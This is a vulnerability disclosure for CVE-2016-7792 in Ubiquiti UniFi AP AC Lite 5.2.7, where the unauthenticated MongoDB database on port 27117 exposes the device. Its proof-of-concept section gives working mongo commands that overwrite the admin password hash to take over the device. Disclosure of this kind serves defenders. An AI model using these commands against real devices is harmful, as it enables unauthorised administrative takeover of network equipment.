Ubiquiti UniFi AP AC Lite 5.2.7 Improper Access Control
Posted on 03 October 2016
Product: UniFi AP AC Lite Vendor: Ubiquiti Networks Inc. Internal reference: ? (Bug ID) Vulnerability type: Incorrect access control Vulnerable version: Unify 5.2.7 and possible other versions affected (not tested) Vulnerable component: Database Report confidence: yes Solution status: Not fixed by Vendor, the bug is a feature. Fixed versions: - Researcher credits: Tim Schughart, Immanuel BA$?r, Khanh Quoc Pham of ProSec Networks Solution date: - Public disclosure: 2016-09-30 CVE reference: CVE-2016-7792 CVSSv3: 8.8 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vulnerability Details: You are able to connect to the access points database, because of an broken authentication (OWASP TOP10). So you are able to modify the database and read the data. An possible scenario you'll find in PoC section. Risk: An attacker gets access to the database and for e.g. is able to change the admins password, like you see in PoC below. PoC: 1. Generate SHA512 Hash with e.g. mkpasswd -m sha-512 2. Connect via network to database, e.g. : mongo --port 27117 --host target_ip 3. Change password via command "db.admin.update({"name":"ProSec"}, {$set : {"x_shadow": "$6$Se9i5I7k3hI8d4bk$CqEXRUwk7c7A/62E/HcC4SrMSLOrBdm7wRvwTS4t.nNJA3RYta0RfzJpuREg.qcAHsPGW9Gjwm3krJROXzbCv."}})" 4. Login via web interface with new password Best regards / Mit freundlichen GrA1/4Aen Tim Schughart CEO / GeschA$?ftsfA1/4hrer -- ProSec Networks e.K. Ellingshohl 82 56077 Koblenz Website: https://www.prosec-networks.com E-Mail: t.schughart@prosec.networks.com Mobile: +49 (0)157 7901 5826 Phone: +49 (0)261 450 930 90 "This E-Mail communication may contain CONFIDENTIAL, PRIVILEGED and/or LEGALLY PROTECTED information and is intended only for the named recipient(s). Any unauthorized use, dissemination, copying or forwarding is strictly prohibited. If you are not the intended recipient and have received this email communication in error, please notify the sender immediately, delete it and destroy all copies of this E-Mail. VAT ID: DE290654714 legal domicile Koblenz, HRA 21625.a "Diese E-Mail Mitteilung kann VERTRAULICHE, dem BERUFSGEHEIMNIS UNTERLIEGENDE und/oder RECHTLICH GESCHATZTE Informationen enthalten und ist ausschlieAlich fA1/4r den/die genannten Adressaten bestimmt. Jede unbefugte Nutzung, Weitergabe, VervielfA$?ltigung oder Versendung ist strengstens verboten. Sollten Sie nicht der angegebene Adressat sein und diese E-Mail Mitteilung irrtA1/4mlich erhalten haben, informieren Sie bitte sofort den Absender, lAPschen diese E-Mail und vernichten alle Kopien. USt-IdNr.: DE290654714, Amtsgericht Koblenz, HRA 21625."
